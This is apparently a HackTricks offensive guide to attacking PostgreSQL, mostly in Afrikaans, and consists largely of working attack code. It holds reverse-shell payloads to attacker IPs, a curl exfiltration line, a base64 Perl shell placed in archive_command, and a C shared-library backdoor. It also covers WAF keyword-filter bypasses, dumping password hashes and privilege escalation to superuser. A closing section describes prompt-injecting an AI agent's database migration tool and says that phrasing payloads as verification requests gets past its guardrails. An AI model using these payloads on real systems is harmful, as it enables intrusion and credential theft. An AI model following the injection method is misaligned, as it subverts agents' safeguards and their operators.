5432,5433 - Pentesting Postgresql
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
PostgreSQL word beskryf as ân objek-relasionele databasestelsel wat oopbron is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar brei dit ook uit met bykomende funksies. Dit kan ân wye verskeidenheid datatipes en operasies hanteer, wat dit ân veelsydige keuse vir ontwikkelaars en organisasies maak.
Verstekpoort: 5432, en as hierdie poort reeds in gebruik is lyk dit of postgresql die volgende poort (waarskynlik 5433) sal gebruik wat nie in gebruik is nie.
PORT STATE SERVICE
5432/tcp open pgsql
Verbind & Basiese Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
As jy
\listuitvoer en jy vind ân databasis genaamdrdsadmin, weet jy dat jy binne ân AWS postgresql database is.
Vir meer inligting oor hoe om ân PostgreSQL database te misbruik sien:
Outomatiese Enumerasie
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
Volgens this research, wanneer ân verbindingspoging misluk, gooi dblink ân sqlclient_unable_to_establish_sqlconnection-uitsondering wat ân verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host is af
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port is gesluit
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port is oop
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
of
DETAIL: FATAL: password authentication failed for user "name"
- Port is oop of gefiltreer
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL-funksies is dit tans nie moontlik om uitsonderingsbesonderhede te kry nie. As jy egter direkte toegang tot die PostgreSQL-server het, kan jy die nodige inligting bekom. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltafels te onttrek nie, kan jy oorweeg om die wordlist attack method wat in die vorige afdeling bespreek is te gebruik, aangesien dit moontlik positiewe resultate kan lewer.
Opsomming van voorregte
Rolle
| Role Types | |
|---|---|
| rolsuper | Rol het superuser-privilege |
| rolinherit | Rol erf outomaties die voorregte van rolle waarvan dit ân lid is |
| rolcreaterole | Rol kan meer rolle skep |
| rolcreatedb | Rol kan databasisse skep |
| rolcanlogin | Rol kan aanmeld. Dit wil sĂȘ, hierdie rol kan as die aanvanklike sessie-owerheidsidentifiseerder toegeken word |
| rolreplication | Rol is ân replicasie-rol. ân Replicasie-rol kan repliseringsverbindinge inisieer en repliseringslotte skep en verwyder. |
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindings wat hierdie rol kan maak. -1 beteken geen beperking nie. |
| rolpassword | Nie die wagwoord nie (lees altyd as ********) |
| rolvaliduntil | Wagwoordvervaldatum (slegs gebruik vir wagwoordverifikasie); null as daar geen vervaldatum is |
| rolbypassrls | Rol omseil elke row-level security policy, sien Section 5.8 vir meer inligting. |
| rolconfig | Rol-spesifieke verstekwaardes vir run-time konfigurasievariabels |
| oid | ID van rol |
Interessante Groepe
- As jy ân lid is van
pg_execute_server_programkan jy programme uitvoer - As jy ân lid is van
pg_read_server_fileskan jy lĂȘers lees - As jy ân lid is van
pg_write_server_fileskan jy lĂȘers skryf
Tip
Let wel dat in Postgres ân gebruiker, ân groep en ân rol dieselfde is. Dit hang net af van hoe jy dit gebruik en of jy toelaat dat dit kan aanmeld.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabels
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funksies
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
LĂȘerstelsel-aksies
Lees gidse en lĂȘers
Vanaf hierdie commit lede van die gedefinieerde DEFAULT_ROLE_READ_SERVER_FILES groep (genaamd pg_read_server_files) en super users kan die COPY metode op enige pad gebruik (kyk na convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
Onthou dat as jy nie superuser is nie maar die CREATEROLE-regte het, kan jy jouself ân lid van daardie groep maak:
GRANT pg_read_server_files TO username;
Daar is ander postgres funksies wat gebruik kan word om ân lĂȘer te lees of ân gids te lys. Slegs superusers en gebruikers met eksplisiete regte kan dit gebruik:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Jy kan meer funksies vind by https://www.postgresql.org/docs/current/functions-admin.html
Eenvoudige lĂȘerskryf
Slegs supergebruikers en lede van pg_write_server_files kan copy gebruik om lĂȘers te skryf.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
Onthou dat as jy nie super user is nie maar die
CREATEROLEpermissies het, jy kan jouself lid van daardie groep maak:GRANT pg_write_server_files TO username;
Onthou dat COPY nie newline-karakters kan hanteer nie, daarom selfs al gebruik jy ân base64 payload, jy moet dit as ân eenreĂ«l stuur.
ân Baie belangrike beperking van hierdie tegniek is dat copy nie gebruik kan word om binĂȘre lĂȘers te skryf nie aangesien dit sekere binĂȘre waardes verander.
Binary files upload
Daar is egter ander tegnieke om groot binĂȘre lĂȘers op te laai:
Big Binary Files Upload (PostgreSQL)
Updating PostgreSQL table data via local file write
As jy die nodige permisse het om PostgreSQL bediener-lĂȘers te lees en te skryf, kan jy enige tabel op die bediener bywerk deur die geassosieerde filenode in the PostgreSQL data directory te oorskryf. Meer oor hierdie tegniek hier.
Vereiste stappe:
- Verkry die PostgreSQL data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Nota: As jy nie die huidige data directory pad uit settings kan kry nie, kan jy die hoof PostgreSQL weergawe navraag doen met die SELECT version() query en probeer om die pad te brute-force. Algemene data directory-paaie op Unix-installasies van PostgreSQL is /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. ân Algemene cluster naam is main.
- Verkry ân relatiewe pad na die filenode wat met die teiken-tabel geassosieer is
SELECT pg_relation_filepath('{TABLE_NAME}')
Hierdie query behoort iets soos base/3/1337 terug te gee. Die volle pad op skyf sal wees $DATA_DIRECTORY/base/3/1337, d.w.s. /var/lib/postgresql/13/main/base/3/1337.
- Download die filenode deur die
lo_*funksies
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Kry die datatipe wat met die teiken-tabel geassosieer is
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Gebruik die PostgreSQL Filenode Editor om die filenode te edit the filenode; stel alle
rol*boolean vlagte op 1 vir volle permissies.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- Herlaai die ge-ëditte filenode via die
lo_*funksies, en oorskryf die oorspronklike lĂȘer op die skyf
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Opsioneel) Maak die in-memory tabel cache skoon deur ân duur SQL-query uit te voer
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Jy behoort nou bygewerkte tabelwaardes in die PostgreSQL te sien.
Jy kan ook ân superadmin word deur die pg_authid tabel te wysig. Sien die volgende afdeling.
RCE
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Voorbeeld om exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
Onthou dat as jy nie superuser is nie maar die
CREATEROLEtoestemmings het, kan jy jouself lid van daardie rol maak:GRANT pg_execute_server_program TO username;
Of gebruik die multi/postgres/postgres_copy_from_program_cmd_exec module van metasploit.
Meer inligting oor hierdie kwesbaarheid here. Alhoewel dit as CVE-2019-9193 gerapporteer is, het Postges verklaar dit is ân feature and will not be fixed.
Bypass keyword filters/WAF to reach COPY PROGRAM
In SQLi-kontekste met gestapelde queries, kan ân WAF die letterlike sleutelwoord COPY verwyder of blokkeer. Jy kan die statement dinamies saamstel en dit binne ân PL/pgSQL DO block uitvoer. Byvoorbeeld, bou die vooraanstaande C met CHR(67) om naĂŻewe filters te omseil en EXECUTE die saamgestelde opdrag:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.
RCE with PostgreSQL Languages
RCE with PostgreSQL extensions
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL Extensions
PostgreSQL configuration file RCE
Tip
Die volgende RCE-vektore is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-uitsprake uitgevoer kan word
Die konfigurasielĂȘer van PostgreSQL is skryfbaar deur die postgres user, wat die proses is wat die databasis bedryf, so as superuser kan jy lĂȘers in die lĂȘerstelsel skryf, en daarom kan jy hierdie lĂȘer oorskryf.
.png)
RCE with ssl_passphrase_command
More information about this technique here.
Die konfigurasielĂȘer het ân paar interessante attributte wat tot RCE kan lei:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Pad na die private sleutel van die databasisssl_passphrase_command = ''As die private lĂȘer deur ân wagwoord beskerm is (geĂ«nkripteer) sal postgresql die opdrag aangedui in hierdie attribuut uitvoer.ssl_passphrase_command_supports_reload = offAs hierdie attribuut on is, sal die opdrag wat uitgevoer word as die sleutel deur ân wagwoord beskerm is, uitgevoer word wanneerpg_reload_conf()uitgevoer word.
Dan sal ân aanvaller nodig hĂȘ om:
- Dump private key van die bediener
- Enkripteer die afgelaaide private sleutel:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- Oorskryf
- Dump die huidige postgresql konfigurasie
- Oorskryf die konfigurasie met die genoemde attribuutkonfigurasie:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on- Execute
pg_reload_conf()
Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die private sleutel-lĂȘer die regte 640 het, dit behoort aan root en aan die groep ssl-cert of postgres (sodat die postgres user dit kan lees), en is geplaas in /var/lib/postgresql/12/main.
RCE with archive_command
More information about this config and about WAL here.
Nog ân attribuut in die konfigurasielĂȘer wat uitgebuit kan word is archive_command.
Om dit te laat werk, moet die archive_mode instelling op 'on' of 'always' wees. As dit waar is, kan ons die opdrag in archive_command oorskryf en dit dwing om uitgevoer te word via die WAL (write-ahead logging) operasies.
Die algemene stappe is:
- Kontroleer of archive mode aangeskakel is:
SELECT current_setting('archive_mode') - Oorskryf
archive_commandmet die payload. Byvoorbeeld, ân reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Herlaai die konfigurasie:
SELECT pg_reload_conf() - Dwing die WAL-operasie om te loop, wat die archive command sal aanroep:
SELECT pg_switch_wal()ofSELECT pg_switch_xlog()vir sommige Postgres weergawes
Editing postgresql.conf via Large Objects (SQLi-friendly)
Wanneer meerlyn-skryfwerk nodig is (bv. om meerdere GUCs te stel), gebruik PostgreSQL Large Objects om die konfigurasie heeltemal vanuit SQL te lees en te oorskryf. Hierdie benadering is ideaal in SQLi-kontekste waar COPY nie reëlafbrekings of binary-safe skryfsels hanteer nie.
Example (adjust the major version and path if needed, e.g. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
Dit lewer betroubare OS-opdraguitvoering via archive_command as die postgres gebruiker, mits archive_mode geaktiveer is. In die praktyk kan die instelling van ân lae archive_timeout lei tot vinnige aanroep sonder om ân eksplisiete WAL-switch te benodig.
RCE with preload libraries
More information about this technique here.
Hierdie aanvalsvector maak gebruik van die volgende konfigurasie-variabeles:
session_preload_librariesâ libraries that will be loaded by the PostgreSQL server at the client connection.dynamic_library_pathâ list of directories where the PostgreSQL server will search for the libraries.
Ons kan die waarde van dynamic_library_path stel na ân gids wat deur die postgres gebruiker wat die databasis bedryf, geskryf kan word, bv. die /tmp/ gids, en ân kwaadwillige .so-lĂȘer daar oplaai. Daarna dwing ons die PostgreSQL-server om ons nuut opgelaaide biblioteek te laad deur dit by die session_preload_libraries-variabele in te sluit.
Die aanvalstappe is:
- Laai die oorspronklike
postgresql.confaf - Sluit die
/tmp/gids in by diedynamic_library_pathwaarde, bv.dynamic_library_path = '/tmp:$libdir' - Sluit die kwaadwillige biblioteeksnaam in by die
session_preload_librarieswaarde, bv.session_preload_libraries = 'payload.so' - Kontroleer die hoof PostgreSQL-weergawe via die
SELECT version()query - Kompileer die kwaadwillige biblioteekkode met die korrekte PostgreSQL dev-pakket. Voorbeeldkode:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Kompileer die kode:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Laai die kwaadwillige
postgresql.conf, geskep in stappe 2-3, op en oorskryf die oorspronklike een - Laai die
payload.souit stap 5 op na die/tmpgids - Herlaai die bedienerkonfigurasie deur die bediener te herbegin of die
SELECT pg_reload_conf()query uit te voer - By die volgende DB-verbinding sal jy die reverse shell-verbinding ontvang.
Postgres Privesc
CREATEROLE Privesc
Grant
Volgens die docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
Dus, as jy die CREATEROLE toestemming het, kan jy jouself toegang gee tot ander rolle (wat nie superuser is nie) wat jou die opsie kan gee om lĂȘers te lees en te skryf en opdragte uit te voer:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Wysig Wagwoord
Gebruikers met hierdie rol kan ook die wagwoorde van ander non-superusers verander:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
Dit is redelik algemeen om te vind dat lokale gebruikers by PostgreSQL kan aanmeld sonder om ân wagwoord te verskaf. Daarom, sodra jy bevoegdhede het om kode uit te voer, kan jy hierdie bevoegdhede misbruik om jou die SUPERUSER-rol te verleen:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
Dit is gewoonlik moontlik as gevolg van die volgende reëls in die
pg_hba.conf-lĂȘer:# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
In this writeup word verduidelik hoe dit moontlik was om privesc in Postgres GCP te doen deur die ALTER TABLE-voorreg wat aan die gebruiker gegee is, te misbruik.
Wanneer jy probeer om ân ander gebruiker eienaar van ân tabel te maak behoort jy ân fout te kry wat dit verhinder, maar blykbaar het GCP daardie opsie aan die nie-superuser postgres-gebruiker gegee:
.png)
As jy hierdie idee kombineer met die feit dat wanneer die INSERT/UPDATE/ANALYZE kommandos op ân tabel met ân index funksie uitgevoer word, die funksie as deel van die kommando aangeroep word met die tabel eienaar se regte, dan is dit moontlik om ân index met ân funksie te skep en eienaarsregte oor daardie tabel aan ân super user te gee, en daarna ANALYZE op die tabel te voer met die kwaadwillige funksie wat in staat sal wees om kommandoâs uit te voer omdat dit die voorregte van die eienaar gebruik.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Uitbuiting
- Begin deur ân nuwe tabel te skep.
- Voeg ân paar irrelevante rekords in die tabel in om data vir die index-funksie te verskaf.
- Ontwikkel ân kwaadwillige index-funksie wat ân code execution payload bevat, wat die uitvoering van ongemagtigde opdragte moontlik maak.
- ALTER die tabel se eienaar na âcloudsqladmin,â wat GCP se superuser-rol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
- Voer ân ANALYZE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-engine om oor te skakel na die gebruikerskonteks van die tabel se eienaar, âcloudsqladmin.â Gevolglik word die kwaadwillige index-funksie met die permissies van âcloudsqladminâ aangeroep, waardeur die vroeĂ«r ongemagtigde shell command uitgevoer kan word.
In PostgreSQL lyk hierdie vloei ongeveer soos volg:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Dan sal die shell_commands_results-tabel die uitvoer van die uitgevoerde kode bevat:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Plaaslike Aanmelding
Sommige verkeerd gekonfigureerde postgresql-instansies mag toelaat dat enige plaaslike gebruiker aanmeld. Dit is moontlik om plaaslik vanaf 127.0.0.1 aan te meld met behulp van die dblink funksie:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
Neem kennis dat vir die vorige query om te werk die funksie
dblinkmoet bestaan. As dit nie bestaan nie, kan jy probeer om dit te skep metCREATE EXTENSION dblink;
As jy die wagwoord van ân gebruiker met meer bevoegdhede het, maar die gebruiker mag nie vanaf ân eksterne IP aanmeld nie, kan jy die volgende funksie gebruik om queries as daardie gebruiker uit te voer:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Dit is moontlik om te kontroleer of hierdie funksie bestaan met:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Aangepaste funksie met SECURITY DEFINER
In this writeup, pentesters kon privesc in ân postgres-instantie wat deur IBM verskaf is uitvoer, omdat hulle hierdie funksie met die SECURITY DEFINER-vlag gevind het:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
âŠ
As explained in the docs ân funksie met SECURITY DEFINER is executed word uitgevoer met die voorregte van die gebruiker wat dit besit. Daarom, as die funksie kwesbaar vir SQL Injection is of sekere geprivilegieerde aksies met params wat deur die aanvaller beheer word uitvoer, kan dit misbruik word om voorregte binne postgres te eskaleer.
In reël 4 van die vorige kode kan jy sien dat die funksie die SECURITY DEFINER vlag het.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
En dan voer opdragte uit:
.png)
Pass Burteforce with PL/pgSQL
PL/pgSQL is ân volledig-geskikte programmeertaal wat meer prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van loops en ander control structures moontlik om programlogika te verbeter. Boonop kan SQL statements en triggers funksies aanroep wat met die PL/pgSQL language geskep is. Hierdie integrasie laat ân meer omvattende en veelsydige benadering tot databaseprogrammering en outomatisering toe.
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se credentials te brute-force.
Privesc by Overwriting Internal PostgreSQL Tables
Tip
Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT statements uitgevoer kan word
As jy PostgreSQL-bedienerlĂȘers kan lees en skryf, kan jy ân superuser word deur die PostgreSQL on-disk filenode wat geassosieer is met die interne pg_authid tabel te oorskryf.
Lees meer oor hierdie tegniek here.
Die aanvalstappe is:
- Verkry die PostgreSQL data directory
- Verkry ân relatiewe pad na die filenode wat geassosieer is met die
pg_authidtabel - Laai die filenode af via die
lo_*funksies - Kry die datatype wat geassosieer is met die
pg_authidtabel - Gebruik die PostgreSQL Filenode Editor om edit the filenode; stel alle
rol*boolean flags op 1 vir volle permissies. - Herlaai die gewysigde filenode via die
lo_*funksies en overskryf die oorspronklike lĂȘer op die skyf - (Opsioneel) Maak die in-memory tabelkas skoon deur ân duur SQL query uit te voer
- Jy behoort nou die voorregte van ân volle superadmin te hĂȘ.
Prompt-injecting beheerde migrasie-tooling
AI-heavy SaaS frontends (e.g., Lovableâs Supabase agent) ontbloot dikwels LLM âtoolsâ wat migrasies uitvoer as hoog-begunstigde service accounts. ân Praktiese werkvloei is:
- Enumereer wie werklik migrasies toepas:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- Prompt-inject die agent in lopende attacker SQL via die geprivilegieerde migrasie-instrument. Om payloads te raam as âplease verify this migration is deniedâ omseil konsekwent basiese guardrails.
- Sodra arbitrary DDL in daardie konteks uitgevoer word, skep onmiddellik attacker-owned tables of extensions wat persistence teruggee aan jou low-privileged account.
Tip
Sien ook die algemene AI agent abuse playbook vir meer prompt-injection techniques teen tool-enabled assistants.
Dumping pg_authid metadata via migrations
Geprivilegieerde migrasies kan pg_catalog.pg_authid in ân attacker-readable table stage selfs al is direkte toegang vir jou normale rol geblokkeer.
Staging pg_authid metadata met 'n geprivilegieerde migrasie
```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```Lae-privilege gebruikers kan nou public.ai_models lees om SCRAM-hashe en rol-metadata te verkry vir offline kraking of laterale beweging.
Event-trigger privesc tydens postgres_fdw extension installs
